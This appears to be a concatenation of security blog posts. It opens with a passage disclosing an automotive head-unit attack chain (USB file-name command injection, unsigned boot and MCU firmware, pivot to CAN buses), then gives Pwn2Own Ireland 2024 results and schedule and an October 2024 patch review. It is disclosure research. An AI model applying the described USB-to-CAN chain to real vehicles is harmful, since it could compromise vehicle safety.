The function attempts to extract a specific file from the update package specified by the path supplied through the up_path argument. This interpolates the provided path into a command line for the unzip program. As with the other bugs, no sanitization is performed before that occurs, and attacker-controlled input (e.g., /dev/sda1/path/file.up) is passed to the system() function. The attacker can control both path and file elements of the overall path. This allows the attacker to inject arbitrary OS commands that will be executed by the head unit OS shell, allowing for a full compromise of the system.

The affected function can be reached via the following call graph:

• UPDATES_SYS_IPC_INTERFACE_GetPackageInfo_svc in svcjciupdates.so
• UPDATES_SYS_SRV_GetPackageInfo
• updates_sys_srv_GetPackageInfoOperationThread
• updates_sys_srv_LoadUP
• updates_sys_srv_ExtractCertificates
• updates_sys_srv_ExtractPubCert
• UPDATES_ExtractFile("publisher_cert.pem", "/tmp/reflash/publisher_cert.pem")

As previously mentioned, the head unit is partitioned into two relatively independent systems: the application SoC running Linux and the VIP MCU running an unspecified OS. The application SoC uses an onboard SPI Flash chip to boot. The chip is partitioned as follows:

Here, the mtd0 partition stores the bootstrap code, which appears to be the first piece of code to be executed on the system. The application SoC was found to be missing any authentication of this bootstrap code. Additionally, none of the subsequent OS boot steps perform any authentication of the next boot stage before passing control to it. This results in the following opportunities for an attacker who has gained code execution on the Linux system:

• Manipulate the root filesystem, changing arbitrary files and e.g. gaining persistence on the system,
• Manipulate configuration data residing in the mtd5 partition, e.g. installing arbitrary SSH keys, and
• Manipulate the bootstrap code, gaining the ability to execute arbitrary code prior to OS boot.

As previously mentioned, the head unit is partitioned into two relatively independent systems; the application SoC running Linux and the VIP MCU running an unspecified OS. The MCU appears to support several CMU functions, including CAN/LIN connectivity to the rest of the vehicle. The partitioning is also assumed to represent a security boundary in that the compromise of the application SoC is expected to be contained and not affect the rest of the vehicle in a way that may compromise safety.

The MCU in question is identified as VIP in the strings found in the CMU software. Through the analysis of software update packages, it was discovered the VIP is also updated during the software update process. The tools to do so, as well as the update image, are found in the vip subdirectory of the update package.

The vcm tool allows performing the following operations against the VIP:

Specifically, the --write-image command allows writing an update image to the VIP. This command is normally used by the update script and takes an input file formatted as Motorola S-records. Of particular interest is also querying the versions of VIP software components. The following is reported on the unit running software cmu150_NA_74.00.324A:

These strings can be located in the update file image-vip_appvfbl.mot and are destined to be programmed at memory address 0xC000A in the VIP MCU memory space and appear to be part of the application image spanning addresses 0xC0000 through 0xFFFFF. By modifying these strings, it is possible to determine whether the image is validated before being programmed into the internal memory.

The original S-record file was manipulated to change one string to produce a visible indication of different firmware, and the resulting image was programmed back to the VIP MCU:

Using the same command for version check, it is possible to confirm the tampered image was accepted:

In a more global sense, this allows an attacker to pivot from a compromised application SoC running Linux to the VIP MCU by installing a crafted firmware version and subsequently gaining direct access to the connected CAN busses of the vehicle.

Exploitation of the OS command injection vulnerabilities is relatively straightforward. All the attacker needs to do is create a file on a FAT32-formatted USB mass storage device where the name will contain the OS commands to be executed. The filename must end with .up for it to be recognized by the software update handling code. While all three command injection vulnerabilities are exploited via the file name, the easiest one to exploit is by far the ZDI-CAN-23420 as there are no specific exploitation requirements such as validity of the crafted update file.

Exploitation of the described command injection vulnerabilities can be further facilitated by the fact that software update installation can be triggered automatically upon connecting a USB mass storage device; this is a “known feature” which is activated by simply placing an empty file named jci-autoupdate on the storage device.

Once the initial compromise is achieved, the attacker can gain persistence through manipulation of the root file system, such as installing backdoored system components which will persist across system restarts.

Furthermore, the attacker can move laterally and install a specially crafted VIP microcontroller software allowing unfettered access to vehicle networks, potentially impacting vehicle operation and safety. Specific impacts (what could be controlled and how) were not investigated during this research effort.

In the lab environment, the entire attack chain – from plugging in a USB drive to installing a crafted update on the VIP – takes only a few minutes. Currently, there is no reason to believe a similar attack will take significantly more time against a unit installed in a car. This means that the vehicle can be compromised while, for example, it is being handled by a valet, during a ride share, or via USB malware. Naturally, the same can be done in a shop environment where there are no significant time pressures.

The CMU can then be compromised and “enhanced” to, for example, attempt to compromise any connected device in targeted attacks that can result in DoS, bricking, ransomware, safety compromise, etc.

This research effort and its output highlighted the fact that high-impact vulnerabilities can be found even in a very mature automotive product that has been on the market for a number of years and with a long history of security fixes. To date, these vulnerabilities remain unpatched by the vendor.

There has been a lot of focus and discussion recently in the security community about the importance of language security and “memory safe” languages. This set of real-world vulnerabilities is a good reminder that focusing on only one bug class or employing one set of security tools (static code analysis, for instance) does not result in deployed systems being secure. In this case, C was used to develop the firmware, but it is an irrelevant fact considering the nature of the discovered vulnerabilities. Any ‘memory-safe’ firmware would have also been compromised in this instance.

While the SQL and OS command injection issues represent programming errors, the remaining vulnerabilities are security design flaws. It is paramount that system integrity is ensured at all runtime stages and for all components. Only then is it possible to guarantee the downstream security properties of languages and their compilers.

In summary, it is important to consider the whole system security and security-test complete production systems in all their operational modes.

You can find me on Mastodon at @infosecdj, and follow the team on Twitter, Mastodon, LinkedIn, or Bluesky for the latest in exploit techniques and security patches.

It’s the final day of our first ever Pwn2Own Ireland. After three days of exploitation, we have awarded $993,625, so it seem likely we will pass the $1,000,000 mark. Still, there are no guarantees in Pwn2Own, so stay tuned for all the results.

And we are done! Over the four days of the contest, we awarded $1,066,625 for over 70 0-day vulnerabilities. That makes four contests in a row that exceeded the million-dollar mark. Congratulations to the Viettel Cyber Security team for winning Master of Pwn with 33 points and $205,000. Our next event will be January 22-24, 2025 in Tokyo as we return for the second Pwn2Own Automotive. We hope to see you there.

COLLISION - A bug collision sends us over one million dollars for the contest. Team Smoking Barrels used two bugs to exploit the True NAS X, but they had been seen before in the contest. It still counts, as they earn $20,000 & 2 Master of Pwn points.

SUCCESS/COLLISION - Chris Anastasio (@mufinnnnnnn) and Fabius Watson (@FabiusArtrel) of Team Cluck used 6 bugs to go from the QNAP QHora-322 to the Lexmark CX331adwe, but 1 had already been seen in the contest. They still earn $23,000 and 9.25 Master of Pwn points.

COLLISION - The Viettel Cyber Security (@vcslab) team ends their run with a collision. They use 2 bugs to exploit the TrueNAS Mini X. They still earn $20,000 and 2 Master of Pwn points.

SUCCESS - Our final attempt of Pwn2Own Ireland is confirmed! PHP Hooligans / Midnight Blue (@midnightbluelab) used an integer overflow to exploit the Lexmark printer and play us a tune. They earn $10,000 and 2 Master of Pwn points.

Welcome to Day Three of our first ever Pwn2Own Ireland competition! We’ve already awarded $874,875, and we have 15 attempts left to go. Will we hit the $1,000,000 mark or will all remaining attempts end up in bug collisions? Stay tuned to find out. All times are Irish Standard Time (GMT +1:00).

SUCCESS - Ha The Long with Ha Anh Hoang of Viettel Cyber Security (@vcslab) used a single command injection bug to exploit the QNAP TS-464 NAS. Their fourth-round win nets them $10,000 and 4 Master of Pwn points.

FAILURE - Unfortunately, Sina Kheirkhah (@SinSinology) and Enrique Castillo (@hyprdude) of Summoning Team (@SummoningTeam) could not get their exploit of the Ubiquiti AI Bullet working within the time allotted.

SUCCESS - Pumpkin Chang (@u1f383) and Orange Tsai (@orange_8361) from the DEVCORE Research Team combined a CRLF Injection, an Auth Bypass, and a SQL Injection to exploit the Synology BeeStation. They earn $20,000 and 4 Master of Pwn points.

SUCCESS - PHP Hooligans / Midnight Blue (@midnightbluelab) used an OOB Write and a memory corruption bug to go from the QNAP QHora-322 to the Lexmark printer, which they demonstrated by printing their own "cash". Their successful SOHO Smashup earns them $25,000 and 10 Master of Pwn points.

SUCCESS - The Viettel Cyber Security (@vcslab) used a single type confusion bug to exploit the Lexmark CX331adwe printer. In the process, they earn $20,000 and 2 Master of Pwn points.

COLLISION - Our first collision of Day Three: the group from STEALIEN Inc. successfully popped the Lorex camera, but the bug they used had already been demonstrated in the contest. They still earn $3,750 and 1.5 Master of Pwn points.

COLLISION - namnp and tunglth of Viettel Cyber Security (@vcslab) ran into another collision. Their stack-based buffer overflow took over the Canon printer, but it had been previously used in the competition. They still earn $5,000 and 1 Master of Pwn point.

SUCCESS - Newcomers Team Smoking Barrels used an unprotected primary channel bug to exploit the Synology BeeStation for code execution. They earn $10,000 and 4 Master of Pwn points.

FAILURE - Unfortunately, the Viettel Cyber Security (@vcslab) could not get their exploit of the Ubiquiti AI Bullet working within the time allotted.

SUCCESS - In the penultimate attempt of Day 2, Daan Keuper (@daankeuper), Thijs Alkemade (@xnyhps), and Khaled Nassar (@notkmhn) from Computest Sector 7 (@sector7_nl) combined 4 bugs, including a command injection and a path traversal to going from the QNAP QHora-322 to the TrueNAS Mini X. They earn $25,000 and 10 Master of Pwn points.

FAILURE - ExLuck (@ExLuck99) of ANHTUD was unable to complete his SOHO S=mashup in the time allotted. HE was able to get into the Synology router but couldn't successfully pivot to the Canon printer.

Welcome back to Pwn2Own Ireland 2024! Yesterday, we awarded $516,250 for over 50 unique 0-day bugs. Today looks to be just as exciting with attempts on phones, cameras, printers, and smart speakers. We’ll be updating this blog in real time as results become available. We have a full schedule of attempts today, so stay tuned! All times are Irish Standard Time (GMT +1:00).

That's a wrap on Day 2 of Pwn2Own Ireland! Today, we awarded $358,625 - which brings the event total to $874,875. The Viettel Cyber Security team has a commanding lead for Master of Pwn, but with two days left, there still could be changes.

SUCCESS - Pham Tuan Son (@Little_timmy) and ExLuck (@ExLuck99) from ANHTUD used a single stack-based overflow to exploit the Canon imageCLASS MF656Cdw printer. Their second-round win earns them $10,000 and 2 Master of Pwn points.

SUCCESS - Ken Gannon (@yogehi) of NCC Group (@NCCGroupInfosec) used five different bugs, including a path traversal, to get a shell and install an app on the Samsung Galaxy S24. He earns $50,000 and 5 Master of Pwn points.

SUCCESS - dungdm (@_piers2) with Viettel Cyber Security (@vcslab) used a single Use-After-Free (UAF) bug to exploit the #Sonos Era 300. The second-round win earns him $30,000 and 6 Master of Pwn points.

COLLISION - The Tenable Group used a stack-based buffer overflow to exploit the Lorex 2K camera, but the bug had already been used in the contest. They still earn $3,750 and 1.5 Master of Pwn points.

SUCCESS - Viettel Cyber Security (@vcslab) used a single type confusion bug to exploit the HP Color LaserJet Pro MFP 3301fdw. The second-round win earns them $10,000 and two Master of Pwn points.

FAILURE - The DEVCORE Research Team (@d3vc0r3) and nella17 (@nella17tw) working with DEVCORE Internship Program couldn't get their SOHO Smashup completed in time. They made it through the router but couldn't pop the printer.

FAILURE - Ryan Emmons (@the_emmons) and Stephen Fewer (@stephenfewer) of Rapid7 could not get their exploit og the Lorex 2K camera working within the time allotted.

SUCCESS - The InfoSect (@infosectcbr) group used a heap-based buffer overflow to take over the Sonos Era 300 speaker. Their second-round win earns them $30,000 and six Master of Pwn points.

SUCCESS - Chris Anastasio (@mufinnnnnnn) and Fabius Watson (@FabiusArtrel) of Team Cluck used two bugs (including a CLRF injection) in a beautiful chain to exploit the QNAP TS-464 NAS. The second round win earns them $20,000 and 4 Master of Pwn points.

FAILURE - Cody Gallagher and Charlie Waters could not get their exploit of the Sonos Era 300 working within the time allotted.

SUCCESS - PHP Hooligans / Midnight Blue (@midnightbluelab) used a command injection bug to get code execution on the Synology BeeStation BST150-4T. They earn $40,000 and four Master of Pwn points.

COLLISION - Corentin BAYET (@OnlyTheDuck) of @Reverse_Tactics used three bugs to go from the QNAP QHora-322 to the QNAP TS-464, but 1 had been previously seen in the contest. He still earns $41,750 and 8.5 Master of Pwn points.

FAILURE - Unfortunately, Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam) could not get his exploit of the TrueNAS Mini X working within the time allotted.

FAILURE - Sadly, the Neodyme (@Neodyme) team could not get their exploit of the Lexmark CX331adwe printer working within the time allotted.

SUCCESS - Chris Anastasio (@mufinnnnnnn) & Fabius Watson (@FabiusArtrel) of Team Cluck used an Improper Certificate Validation bug to exploit the Synology DiskStation. Their second round win earns them $20,000 and four Master of Pwn points.

COLLISION - The Synacktiv (@Synacktiv) team successfully exploited the Synology Beestation, but they used a bug previously seen during the contest. They still earn $10,000 and 2 Master of Pwn points.

COLLISION - Compass Security (@compasssecurity) ran into a collision in their attempt against the Ubiquiti AI bullet. Their exploit still wins them $3,750 and 1.5 Master of Pwn points.

SUCCESS - YingMuo (@YingMuo) working with DEVCORE Internship Program used an argument injection and a SQL injection to get their root shell on the QNAP TS-464 NAS. Their third-round victory gets them $20,000 and 4 Master of Pwn points.

SUCCESS / COLLISION - Our final SOHO Smashup of Day 2 ends with a partial collision. Neodyme (@Neodyme) used four bugs, including a stack-based buffer overflow, in their successful demonstration, but one bug had previously been used in the contest. They earn $21,875 and 8.75 Master of Pwn points.

COLLISION - One of our final attempts of Day 2 ends in a collision. The InfoSect (@infosectcbr) group successfully got a shell on the Lorex camera, but they used a bug previously seen in the contest. They still earn $3,750 and 1.5 Master of Pwn points.

success - Our final exploit of the day had NiNi (@terrynini38514) of DEVCORE Research Team exploit the AeoTec Smart Home Hub with an Improper Verification of Cryptographic Signature bug. They earn $40,000 and 4 Master of Pwn points.

Welcome to the first day of Pwn2Own Ireland 2024! We have four tremendous days of research planned, including multiple SOHO attempts. We’ll be updating this blog in real time as results become available. We have a full schedule of attempts today, so stay tuned! All times are Irish Standard Time (GMT +1:00).

That's a wrap on Day 1 of #Pwn2Own Ireland! We awarded $516,250* for 52 unique 0-days. Viettel Cyber Security (@vcslab) has an early lead for Master of Pwn with 13 points, but there's a lot of contest left to go. Stay tuned for all of the latest results as Pwn2Own Ireland continues.

*The total increased from $486,250 to $516,250 after a recount.

SUCCESS - phudq and namnp from Viettel Cyber Security (@vcslab) used a stack-based buffer overflow and an untrusted pointer deref to exploit the Lorex 2K WiFi camera. They earn $30,000 and 3 Master of Pwn points.

FAILURE - Unfortunately, Can Acar (@canacar_t) was unable to get his exploit of the Synology TC500 camera working within the time allotted.

SUCCESS - Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam) used a total of 9(!) different bugs to go from the QNAP QHora-322 through to the TrueNAS Mini X. His effort earns him $100,000 and 10 Master of Pwn points.

SUCCESS - Jack Dates of RET2 Systems (@ret2systems) used a single Out-of-Bounds (OOB) write to exploit the Sonos Era 300 speaker. He earns himself $60,000 and 6 Master of Pwn points.

SUCCESS - Team Neodyme (@Neodyme ) used a stack-based buffer overflow to exploit the HP Color LaserJet Pro MFP 3301fdw printer. The earn $20,000 and 2 Master of Pwn points.

FAILURE - Unfortunately, Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam) could not get his exploit of the QNAP TS-464 working within the time allotted.

SUCCESS - PHP Hooligans / Midnight Blue (@midnightbluelab) used a single bug to exploit the Canon imageCLASS MF656Cdw printer. They earn themselves $20,000 and 2 Master of Pwn points.

COLLISION - The @Synacktiv team exploited the Lorex camera with two bugs, but one had previously been used in the contest. They still earn $11,250 and 2.25 Master of Pwn points.

FAILURE - Unfortunately, Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam) could not get his exploit of the Synology BeeStation BST150-4T working within the time allotted.

SUCCESS - The Viettel Cyber Security (@vcslab) team combined 4 bugs - 2 in the router & 2 in the NAS - to going from the QNAP QHora-322 to the TrueNAS Mini X. Their combination of SQL injections and missing auth/exposed function bugs earn them $50K and 10 Master of Pwn points.

SUCCESS - ExLuck (@pivik_) used four bugs, including an improper cert verification and a hardcoded cryptographic key, to exploit the QNAP TS-464 NAS device. They earn $40,000 and 4 Master of Pwn points.

FAILURE - Unfortunately, Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam) could not get his exploit of the Synology DiskStation DS1823xs+ working within the time allotted.

FAILURE - Unfortunately, PHP Hooligans / Midnight Blue (@midnightbluelab) could not get their exploit of the Lorex 2K Indoor Wi-Fi camera working within the time allotted.

SUCCESS - @dungnm, @dungdm, & @tunglth of Viettel Cyber Security (@vcslab) used a heap-based buffer overflow to exploit the Synology TC500. In doing so, they earn $30,000 and 3 Master of Pwn points.

WITHDRAWN - The PHP Hooligans / Midnight Blue (@midnightbluelab) have withdrawn their attempt targeting the Synology TC500 camera in the Surveillance category

FAILURE - Unfortunately, Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam) could not get his exploit of the Lorex 2K Indoor Wi-Fi working within the time allotted.

FAILURE - Unfortunately, YingMuo (@YingMuo) of the DEVCORE Internship Program could not get his exploit of the Canon imageCLASS MF656Cdw working within the time allotted.

SUCCESS - The STEALIEN Inc. team [Bongeun Koo(@kiddo_pwn), Dohyun Kim(@d0now), Junyoung Choi(@insp3ct0r_x), Wonbeen Im(@D0b6y), Juhyeop Lee(@leeju_04), Juyeong Lee(@ju_cheda), GuckHyeon Jin(@nang__lam), Jongmin Kim(@slyfizz3)] used a combination of bugs in their attack chain to exploit the Ubiquity AI Bullet and flash the lights (plus get a root shell). Their work earns them $30,000 and 3 Master of Pwn points.

SUCCESS - Most impressive! Ryan Emmons (@the_emmons) and Stephen Fewer (@stephenfewer) of Rapid7 used an Improper Neutralization of Argument Delimiters bug to exploit the Synology DiskStation DS1823xs+ -- and it works or other Synology devices too! They earn $40,000 and 4 Master of Pwn points.

Failure - Unfortunately, the InfoSect (@infosectcbr) team could not get their exploit of the Synology TC500 camera working within the allotted time.

SUCCESS - The Synacktiv Team (@Synacktiv) used a combination of 3 different bug to exploit the Ubiquiti AI Bullet. All bugs were unique, so their second round win nets them $15,000 and 3 Master of Pwn points.

SUCCESS - Jack Dates of RET2 Systems (@ret2systems) used an OOB Write to get a shell and a modified login page on the Synology DiskStation DS1823xs+. His second round win nets him $20,000 and 4 Master of Pwn points.

SUCCESS - Josh Foote (@BoredPentester) used a stack-based buffer overflow to exploit the Lorex 2K Wi-Fi camera. His second round win nets him $15,000 and 3 Master of Pwn points.

Welcome to Pwn2Own Ireland 2024 - our first event ever from the emerald isle! This year’s contest is set to be one of our largest ever - both in terms of entries and potential prizes. If everything hits, we will end up paying out over $1,000,000 in cash and prizes. We’ve got four days of exciting competition ahead. As always, we began our contest with a random drawing to determine the order of attempts. If you missed it, you can watch the replay here.

The complete schedule for the contest is below (all times Irish Standard Time [UTC +1:00]).

Note: All times subject to change

          - Day One           - Day Two           - Day Three           - Day Four

Day One

Tuesday, October 22 – 0900

Jack Dates of RET2 Systems (@ret2systems) targeting Sonos Era 300 in the Smart Speakers category

Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam) attempting a SOHO SMASHUP, going from the QNAP QHora-322 to the TrueNAS Mini X

Viettel Cyber Security (@vcslab) targeting Lorex 2K Indoor Wi-Fi in the Surveillance category

Can Acar (@canacar_t) targeting Synology TC500 in the Surveillance category

Tuesday, October 22 – 1100

PHP Hooligans / Midnight Blue (@midnightbluelab) targeting Canon imageCLASS MF656Cdw in the Printers category

Synacktiv (@Synacktiv) targeting Lorex 2K Indoor Wi-Fi in the Surveillance category

Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam) targeting QNAP TS-464 in the Network Attached Storage category

Neodyme (@Neodyme) targeting HP Color LaserJet Pro MFP 3301fdw in the Printers category

Tuesday, October 22 – 1300

Viettel Cyber Security (@vcslab) attempting a SOHO SMASHUP, going from the QNAP QHora-322 to the TrueNAS Mini X

Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam) targeting Synology BeeStation BST150-4T in the Network Attached Storage category

ExLuck (@ExLuck99) of ANHTUD targeting QNAP TS-464 in the Network Attached Storage category

Tuesday, October 22 – 1400

DEVCORE Research Team (@d3vc0r3) targeting TrueNAS Mini X in the Network Attached Storage category

Tuesday, October 22 – 1500

PHP Hooligans / Midnight Blue (@midnightbluelab) targeting Lorex 2K Indoor Wi-Fi in the Surveillance category

Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam) targeting Synology DiskStation DS1823xs+ in the Network Attached Storage category

Viettel Cyber Security (@vcslab) targeting Synology TC500 in the Surveillance category

Tuesday, October 22 – 1600

Bongeun Koo(@kiddo_pwn), Dohyun Kim(@d0now), Junyoung Choi(@insp3ct0r_x), Wonbeen Im(@D0b6y), Juhyeop Lee(@leeju_04), Juyeong Lee(@ju_cheda), GuckHyeon Jin(@nang__lam), Jongmin Kim(@slyfizz3) of STEALIEN Inc. targeting Ubiquiti AI Bullet in the Surveillance category

Tuesday, October 22 – 1700

YingMuo (@YingMuo) working with DEVCORE Internship Program targeting Canon imageCLASS MF656Cdw in the Printers category

Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam) targeting Lorex 2K Indoor Wi-Fi in the Surveillance category

Ryan Emmons (@the_emmons) and Stephen Fewer (@stephenfewer) of Rapid7 targeting Synology DiskStation DS1823xs+ in the Network Attached Storage category

PHP Hooligans / Midnight Blue (@midnightbluelab) targeting Synology TC500 in the Surveillance category

Tuesday, October 22 – 1800

Synacktiv (@Synacktiv) targeting Ubiquiti AI Bullet in the Surveillance category

Tuesday, October 22 – 1900

@BoredPentester targeting Lorex 2K Indoor Wi-Fi in the Surveillance category

Jack Dates of RET2 Systems (@ret2systems) targeting Synology DiskStation DS1823xs+ in the Network Attached Storage category

InfoSect (@infosectcbr) targeting Synology TC500 in the Surveillance category

Tuesday, October 22 – 1930

ExLuck (@ExLuck99) of ANHTUD targeting Ubiquiti AI Bullet in the Surveillance category

Back to top

Day Two

Wednesday, October 23 – 0900

Viettel Cyber Security (@vcslab) targeting Sonos Era 300 in the Smart Speakers category

ExLuck (@ExLuck99) of ANHTUD targeting Canon imageCLASS MF656Cdw in the Printers category

Tenable Research targeting Lorex 2K Indoor Wi-Fi in the Surveillance category

Ken Gannon (@yogehi) of NCC Group (@NCCGroupInfosec) targeting Samsung Galaxy S24 in the Mobile Phones category

Wednesday, October 23 – 1100

InfoSect (@infosectcbr) targeting Sonos Era 300 in the Smart Speakers category

DEVCORE Research Team (@d3vc0r3) and nella17 (@nella17tw) working with DEVCORE Internship Program attempting a SOHO SMASHUP, going from the QNAP QHora-322 to the Lexmark CX331adwe

Ryan Emmons (@the_emmons) and Stephen Fewer (@stephenfewer) of Rapid7 targeting Lorex 2K Indoor Wi-Fi in the Surveillance category

Chris Anastasio (@mufinnnnnnn) & Fabius Watson (@FabiusArtrel) targeting QNAP TS-464 in the Network Attached Storage category

Wednesday, October 23 – 1200

Viettel Cyber Security (@vcslab) targeting HP Color LaserJet Pro MFP 3301fdw in the Printers category

Wednesday, October 23 – 1300

Cody Gallagher and Charlie Waters targeting Sonos Era 300 in the Smart Speakers category

Corentin BAYET (@OnlyTheDuck) of @Reverse_Tactics attempting a SOHO SMASHUP, going from the QNAP QHora-322 to the QNAP TS-464

PHP Hooligans / Midnight Blue (@midnightbluelab) targeting Synology BeeStation BST150-4T in the Network Attached Storage category

Wednesday, October 23 – 1500

Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam) targeting TrueNAS Mini X in the Network Attached Storage category

Neodyme (@Neodyme) targeting Lexmark CX331adwe in the Printers category

DEVCORE Research Team (@d3vc0r3) targeting Lorex 2K Indoor Wi-Fi in the Surveillance category

Chris Anastasio (@mufinnnnnnn) & Fabius Watson (@FabiusArtrel) targeting Synology DiskStation DS1823xs+ in the Network Attached Storage category

Wednesday, October 23 – 1700

Compass Security (@compasssecurity) targeting Ubiquiti AI Bullet in the Surveillance category

Neodyme (@Neodyme) targeting SOHO SMASHUP, going from the QNAP QHora-322 to the Canon imageCLASS MF656Cdw

Synacktiv (@Synacktiv) targeting Synology BeeStation BST150-4T in the Network Attached Storage category

YingMuo (@YingMuo) working with DEVCORE Internship Program targeting QNAP TS-464 in the Network Attached Storage category

Wednesday, October 23 – 1900

InfoSect (@infosectcbr) targeting Lorex 2K Indoor Wi-Fi in the Surveillance category

NiNi (@terrynini38514) of DEVCORE Research Team targeting AeoTec Smart Home Hub in the Home Automation Hubs category

Back to top

Day Three

Thursday, October 24 – 0900

Sina Kheirkhah (@SinSinology) and Enrique Castillo (@hyprdude) of Summoning Team (@SummoningTeam) targeting Ubiquiti AI Bullet in the Surveillance category

PHP Hooligans / Midnight Blue (@midnightbluelab) attempting a SOHO SMASHUP, going from the QNAP QHora-322to the Lexmark CX331adwe

Pumpkin Chang (@u1f383) and Orange Tsai (@orange_8361) from the DEVCORE Research Team targeting Synology BeeStation BST150-4T in the Network Attached Storage category

Viettel Cyber Security (@vcslab) targeting QNAP TS-464 in the Network Attached Storage category

Thursday, October 24 – 1100

Viettel Cyber Security (@vcslab) targeting Lexmark CX331adwe in the Printers category

Thursday, October 24 – 1130

Wonbeen Im(@D0b6y), Dohyun Kim(@d0now), Bongeun Koo(@kiddo_pwn), Junyoung Choi(@insp3ct0r_x), Juhyeop Lee(@leeju_04), Juyeong Lee(@ju_cheda), GuckHyeon Jin(@nang__lam), Jongmin Kim(@slyfizz3) of STEALIEN Inc. targeting Lorex 2K Indoor Wi-Fi in the Surveillance category

Thursday, October 24 – 1300

Viettel Cyber Security (@vcslab) targeting Canon imageCLASS MF656Cdw in the Printers category

Thursday, October 24 – 1330

Team Smoking Barrels targeting Synology BeeStation BST150-4T in the Network Attached Storage category

Thursday, October 24 – 1500

Viettel Cyber Security (@vcslab) targeting Ubiquiti AI Bullet in the Surveillance category

Daan Keuper (@daankeuper), Thijs Alkemade (@xnyhps), and Khaled Nassar (@notkmhn) from Computest Sector 7 (@sector7_nl) attempting a SOHO SMASHUP, going from the QNAP QHora-322 to the TrueNAS Mini X in the SOHO category

Thursday, October 24 – 1700

ExLuck (@ExLuck99) of ANHTUD attempting a SOHO SMASHUP, going from the Synology RT6600ax to the Canon imageCLASS MF656Cdw

Back to top

Day Four

Friday, October 25 – 0900

Team Smoking Barrels targeting TrueNAS Mini X in the Network Attached Storage category

Chris Anastasio (@mufinnnnnnn) & Fabius Watson (@FabiusArtrel) attempting a SOHO SMASHUP, going from the QNAP QHora-322 to the Lexmark CX331adwe

Friday, October 25 – 1100

Viettel Cyber Security (@vcslab) targeting TrueNAS Mini X in the Network Attached Storage category

PHP Hooligans / Midnight Blue (@midnightbluelab) targeting Lexmark CX331adwe in the Printers category

Back to top

We’ll be publishing results live on the blog as the contest unfolds. We’ll also be posting brief video highlights to Twitter, YouTube, Mastodon, LinkedIn, and Instagram, so follow us on your favorite flavor of social media for the latest news from the event.

It’s the spooky season, and there’s nothing spookier than security patches – at least in my world. Microsoft and Adobe have released their latest patches, and no bones about it, there are some skeletons in those closets. Take a break from your regular activities and join us as we review the details of their latest security alerts. If you’d rather watch the full video recap covering the entire release, you can check it out here:

Adobe Patches for October 2024

For October, Adobe released nine patches addressing 52 CVEs in Adobe Substance 3D Painter, Commerce, Dimension, Animate, Lightroom, InCopy, InDesign, Substance 3D Stager, and Adobe FrameMaker. Two of these bugs were submitted through the ZDI program. The largest and most urgent of these patches covers 22 CVEs in Adobe Commerce, which includes fixes for Critical-rated code execution bugs. Although not listed as public or under attack, Adobe lists this as Priority 2. The update for Dimension fixes two Critical-rated bugs that could lead to code execution. The fix for Animate fixes 11 vulnerabilities, some of which could lead to code execution. The Substance 3D Stager patch covers eight bugs – all of which are rated Critical and could lead to code execution. The five CVEs addressed by the FrameMaker fix are also all Critical-rated code execution bugs. The remaining bulletins all address only a single CVE each. The memory leak in Substance 3D Painter is rated Important. That’s the same for the Lightroom patch. The InCopy patch fixes a Critical-rated unrestricted upload bug, which is also the case for the InDesign fix.

None of the bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release. Outside of the fix for Commerce, Adobe categorizes these updates as a deployment priority rating of 3.

Microsoft Patches for October 2024

This month, Microsoft released 117 new CVEs in Windows and Windows Components; Office and Office Components; Azure; .NET and Visual Studio; OpenSSH for Windows; Power BI; Windows Hyper-V; and Windows Mobile Broadband. One of these vulnerabilities was reported through the ZDI program. With the addition of the third-party CVEs, the entire release tops out at 121 CVEs.

Of the patches being released today, three are rated Critical, 115 are rated Important, and two are rated Moderate in severity. This is the third triple-digit CVE release from Microsoft this year, putting the Redmond giant on pace to exceed the number of CVEs fixed in 2023. They are still a way off from the record pace set in 2020 (thankfully).

Five of these CVEs are listed as publicly known, and two of these are listed as under active attack at the time of release. Let’s take a closer look at some of the more interesting updates for this month, starting with the vulnerabilities currently being exploited:

CVE-2024-43573 - Windows MSHTML Platform Spoofing Vulnerability
While only listed as Moderate, this is one of the bugs listed as actively exploited this month. This is also very similar to the bug patched back in July in the same component, which was used by the APT group known as Void Banshee. You can read out full analysis of that bug here. There’s no word from Microsoft on whether it’s the same group, but considering there is no acknowledgment here, it makes me think the original patch was insufficient. Either way, don’t ignore this based on the severity rating. Test and deploy this update quickly.

CVE-2024-43572 - Microsoft Management Console Remote Code Execution Vulnerability
Here’s another Moderate-severity bug listed as being actively attacked. In this instance, a threat actor would need to send a malicious MMC snap-in and have a user load the file. While this does sound unlikely, it’s clearly happening. Microsoft doesn’t say how widespread these attacks are, but considering the amount of social engineering required to exploit this bug, I would think attacks would be limited at this point. Still considering the damage that could be caused by an admin loading a malicious snap-in, I would test and deploy this update quickly.

CVE-2024-43468 - Microsoft Configuration Manager Remote Code Execution Vulnerability
Not to be confused with MMC, here’s a bug in the Configuration Manager that doesn’t require user interaction. In fact, this CVSS 9.8 bug could be hit by a remote, unauthenticated attacker sending specially crafted requests, resulting in arbitrary code execution on the target server. In addition to the patch, you’ll need to install an in-console update to be protected. Microsoft provides this guide for those affected. This is another example of why the “Just Patch” advice is short-sighted.

CVE-2024-43582 - Remote Desktop Protocol Server Remote Code Execution Vulnerability
This bug also allows a remote, unauthenticated attacker to gain arbitrary code execution at elevated levels simply by sending specially crafted RPC requests. Microsoft notes that the attacker would need to win a race condition, but we’ve seen plenty of successful Pwn2Own entries win race conditions. While this bug is wormable, it’s unlikely to actually result in a worm. RPC should be blocked at your perimeter, and it isn’t, now’s a good time to check. That limits this to internal systems only, but it could be used for lateral movement within an enterprise.

Here’s the full list of CVEs released by Microsoft for October 2024:

* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.

† Indicates further administrative actions are required to fully address the vulnerability.

The only other Critical-rated bug this month is for the Visual Studio Code extension for Arduino. However, there’s no action to take here as Microsoft has already resolved the issue and is just documenting this CVE.

